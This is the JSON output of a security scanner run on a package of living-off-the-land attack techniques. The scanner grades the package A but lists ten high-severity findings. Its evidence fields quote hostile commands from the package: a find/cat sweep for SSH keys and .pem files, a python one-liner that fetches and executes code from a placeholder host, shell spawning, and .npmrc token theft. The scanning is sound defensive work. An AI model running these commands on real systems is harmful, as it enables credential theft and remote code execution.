Living Off The Land Lolbins — the complete, unedited output of the deterministic mcptrustchecker engine v1.13.0, scanned . Every finding, capability tag and score component below is exactly what the engine produced — no AI, no post-processing.
{
"tool": {
"name": "mcptrustchecker",
"version": "1.13.0",
"methodologyVersion": "mcptrustchecker-1.13"
},
"target": {
"id": "living-off-the-land-lolbins-mcp-server",
"source": {
"kind": "package",
"origin": "living-off-the-land-lolbins-mcp-server"
},
"server": {
"name": "living-off-the-land-lolbins-mcp-server"
}
},
"grade": "A",
"score": {
"score": 93,
"threatScore": 100,
"grade": "A",
"band": "A",
"categorySubtotals": {
"injection": 0,
"exfiltration": 0,
"permissions": 0,
"supply-chain": 0,
"network": 0,
"hygiene": 0
},
"vector": [
{
"kind": "client",
"term": "capability-exposure",
"level": "high",
"label": "capability blast radius (high) — client exposure if the model is manipulated",
"appliedPenalty": 6
},
{
"kind": "client",
"term": "verification-discount",
"level": "repo",
"label": "publisher verification (public source) — no provenance, but the source is public and inspectable",
"appliedPenalty": 1
},
{
"kind": "client",
"term": "coverage-honesty",
"level": "source",
"label": "inspection depth (source) — how much of the target the scan could see",
"appliedPenalty": 0
}
],
"gatesFired": [],
"methodologyVersion": "mcptrustchecker-1.13"
},
"capability": {
"level": "high",
"reasons": [
"can send data / act on an external service",
"reads sensitive or local data",
"has a read → egress path (a data-exfiltration surface)",
"can execute shell commands or code"
],
"tags": [
"sensitive-source",
"code-exec",
"external-sink"
]
},
"coverage": {
"level": "source",
"inputs": {
"toolSurface": false,
"implementationSource": true,
"packageMetadata": true,
"liveTransport": false
},
"caveats": [
"No tools were enumerated, so prompt-injection, capability and toxic-flow analysis had no tool surface to inspect. To grade a package’s real runtime tools, scan the running server: --command \"npx -y <package>\"."
]
},
"findings": [
{
"ruleId": "MTC-SRC-006",
"title": "Reads a sensitive credential path or dumps the environment (dist/providers/credential.js)",
"category": "exfiltration",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`dist/providers/credential.js:60`): Reading private keys / cloud credentials, or serializing the whole environment, is a sensitive-data source that becomes exfiltration when combined with any egress. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "dist/providers/credential.js"
},
"evidence": "command: 'find / -name \"id_rsa\" -o -name \"id_ed25519\" -o -name \"id_ecdsa\" -o -name \"*.pem\" 2>/dev/null | xargs cat',",
"owasp": "LLM02:2025 Sensitive Information Disclosure",
"data": {
"rule": "MTC-SRC-006",
"file": "dist/providers/credential.js",
"line": 60,
"nonRuntime": false
}
},
{
"ruleId": "MTC-SRC-006",
"title": "Reads a sensitive credential path or dumps the environment (dist/providers/discovery.js)",
"category": "exfiltration",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`dist/providers/discovery.js:291`): Reading private keys / cloud credentials, or serializing the whole environment, is a sensitive-data source that becomes exfiltration when combined with any egress. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "dist/providers/discovery.js"
},
"evidence": "-name '*.pem' -o -name 'id_rsa' -o -name '.env' -o -name 'credentials' 2>/dev/null\", detectionPatterns: [\"find c",
"owasp": "LLM02:2025 Sensitive Information Disclosure",
"data": {
"rule": "MTC-SRC-006",
"file": "dist/providers/discovery.js",
"line": 291,
"nonRuntime": false
}
},
{
"ruleId": "MTC-SRC-006",
"title": "Reads a sensitive credential path or dumps the environment (dist/providers/lateral.js)",
"category": "exfiltration",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`dist/providers/lateral.js:55`): Reading private keys / cloud credentials, or serializing the whole environment, is a sensitive-data source that becomes exfiltration when combined with any egress. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "dist/providers/lateral.js"
},
"evidence": "ials: \"SSH private key (id_rsa, id_ed25519, etc.)\", stealth_score: 2, attck_ids: [\"T1021",
"owasp": "LLM02:2025 Sensitive Information Disclosure",
"data": {
"rule": "MTC-SRC-006",
"file": "dist/providers/lateral.js",
"line": 55,
"nonRuntime": false
}
},
{
"ruleId": "MTC-SRC-006",
"title": "Reads a sensitive credential path or dumps the environment (dist/providers/package-manager.js)",
"category": "exfiltration",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`dist/providers/package-manager.js:48`): Reading private keys / cloud credentials, or serializing the whole environment, is a sensitive-data source that becomes exfiltration when combined with any egress. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "dist/providers/package-manager.js"
},
"evidence": "technique: \"npm .npmrc credential theft\", description: \"Read .npmrc files for registry auth tok",
"owasp": "LLM02:2025 Sensitive Information Disclosure",
"data": {
"rule": "MTC-SRC-006",
"file": "dist/providers/package-manager.js",
"line": 48,
"nonRuntime": false
}
},
{
"ruleId": "MTC-SRC-001",
"title": "Dynamic code execution in server code (dist/providers/evasion.js)",
"category": "permissions",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`dist/providers/evasion.js:309`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "dist/providers/evasion.js"
},
"evidence": "ml,RunHTMLApplication \";eval(\"payload\")', cleanup_command: \"N/A — in-memory execution\",",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-001",
"file": "dist/providers/evasion.js",
"line": 309,
"nonRuntime": false
}
},
{
"ruleId": "MTC-SRC-002",
"title": "Shell/command execution in server code (dist/providers/execution.js)",
"category": "permissions",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`dist/providers/execution.js:155`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "dist/providers/execution.js"
},
"evidence": "\"python3 -c 'import os; os.system(\\\"/bin/bash\\\")'\", payload_type: \"shell\", stealth_score",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-002",
"file": "dist/providers/execution.js",
"line": 155,
"nonRuntime": false
}
},
{
"ruleId": "MTC-SRC-002",
"title": "Shell/command execution in server code (dist/providers/initial-access.js)",
"category": "permissions",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`dist/providers/initial-access.js:74`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "dist/providers/initial-access.js"
},
"evidence": "\"import urllib.request; exec(urllib.request.urlopen('http://<HOST>/<PAYLOAD>').read())\\\"\", detectionPatterns: [\"",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-002",
"file": "dist/providers/initial-access.js",
"line": 74,
"nonRuntime": false
}
},
{
"ruleId": "MTC-SRC-002",
"title": "Shell/command execution in server code (dist/providers/opsec-risk.js)",
"category": "permissions",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`dist/providers/opsec-risk.js:46`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "dist/providers/opsec-risk.js"
},
"evidence": "signals.push(\"child_process_creation\"); } if (hasPrivEsc) { noiseLevel += 1;",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-002",
"file": "dist/providers/opsec-risk.js",
"line": 46,
"nonRuntime": false
}
},
{
"ruleId": "MTC-SRC-002",
"title": "Shell/command execution in server code (dist/providers/package-manager.js)",
"category": "permissions",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`dist/providers/package-manager.js:42`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "dist/providers/package-manager.js"
},
"evidence": "\":\"node -e \\\\\"require(\\'child_process\\').execSync(\\'whoami\\')\\\\\"}}', stealth_score: 3, attck_ids: [\"T105",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-002",
"file": "dist/providers/package-manager.js",
"line": 42,
"nonRuntime": false
}
},
{
"ruleId": "MTC-SRC-002",
"title": "Shell/command execution in server code (dist/providers/process-manipulation.js)",
"category": "permissions",
"severity": "high",
"confidence": "strong",
"description": "In the server's implementation (`dist/providers/process-manipulation.js:42`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "dist/providers/process-manipulation.js"
},
"evidence": "> setsid() -> fork() -> exec(target) // orphan reparented to init\", stealth_score: 2, attck_ids: [\"T1055",
"owasp": "LLM05:2025 Improper Output Handling",
"data": {
"rule": "MTC-SRC-002",
"file": "dist/providers/process-manipulation.js",
"line": 42,
"nonRuntime": false
}
},
{
"ruleId": "MTC-SRC-003",
"title": "Hardcoded egress to an external endpoint (dist/providers/initial-access.js)",
"category": "exfiltration",
"severity": "medium",
"confidence": "strong",
"description": "In the server's implementation (`dist/providers/initial-access.js:74`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.",
"remediation": "Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.",
"location": {
"kind": "server",
"name": "dist/providers/initial-access.js"
},
"evidence": "rt urllib.request; exec(urllib.request.urlopen('http://<HOST>/<PAYLOAD>').read())\\\"\", detectionPatterns: [\"pytho",
"owasp": "LLM02:2025 Sensitive Information Disclosure",
"data": {
"rule": "MTC-SRC-003",
"file": "dist/providers/initial-access.js",
"line": 74,
"nonRuntime": false
}
}
],
"toxicFlows": [],
"capabilities": [],
"surfaceDigest": "261d9956ca11a800b446a84ccd4e3257da4d1e6a533413b71ab8213c7f46d9e8",
"stats": {
"tools": 0,
"prompts": 0,
"resources": 0,
"findingsBySeverity": {
"critical": 0,
"high": 10,
"medium": 1,
"low": 0,
"info": 0
}
}
}